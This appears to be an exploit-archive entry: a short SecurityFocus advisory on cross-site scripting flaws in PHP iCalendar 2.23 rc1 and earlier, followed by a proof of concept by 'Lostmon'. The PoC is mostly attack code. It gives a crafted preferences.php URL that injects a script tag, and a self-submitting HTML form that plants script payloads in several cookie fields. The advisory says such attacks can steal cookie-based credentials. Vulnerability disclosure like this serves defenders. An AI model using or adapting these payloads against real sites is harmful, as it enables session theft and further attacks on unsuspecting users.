source: http://www.securityfocus.com/bid/21792/info PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. http://www.example.com/phpicalendar/preferences.php?cal=Home,US+Holidays,Work &getdate=20061227%22%3E%3Cscript%3Ealert()%3C/script%3E

PHP icalendar <= 2.23 rc1 preferences.php XSS Proof Of concept By Lostmon

Modify the target host , by default http://localhost/

cookie_language:
cookie_calendar:
cpath: alert(String.fromCharCode(88,83,83))' name='cpath' style='width: 80%' />
cookie_view:
cookie_time:
cookie_startday:
cookie_style:
unset: alert(String.fromCharCode(88,83,83))' name='unset' style='width: 80%' />
set: alert(String.fromCharCode(88,83,83))' name='set' style='width: 80%' />

<form method='post' action=' http://localhost/phpicalendar/preferences.php?action=setcookie'> cookie_language: <input input='text' value='Spanish' name='cookie_language' style='width: 80%' /><br> cookie_calendar: <input input='text' value='all_calendars_combined971' name='cookie_calendar' style='width: 80%' /><br> cpath: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='cpath' style='width: 80%' /><br> cookie_view: <input input='text' value='day' name='cookie_view' style='width: 80%' /><br> cookie_time: <input input='text' value='0700' name='cookie_time' style='width: 80%' /><br> cookie_startday: <input input='text' value='Sunday' name='cookie_startday' style='width: 80%' /><br> cookie_style: <input input='text' value='default' name='cookie_style' style='width: 80%' /><br> unset: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='unset' style='width: 80%' /><br> set: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='set' style='width: 80%' /><br> <input type='submit' value='submit' /><br> </form> <script> document.forms[0].submit() </script>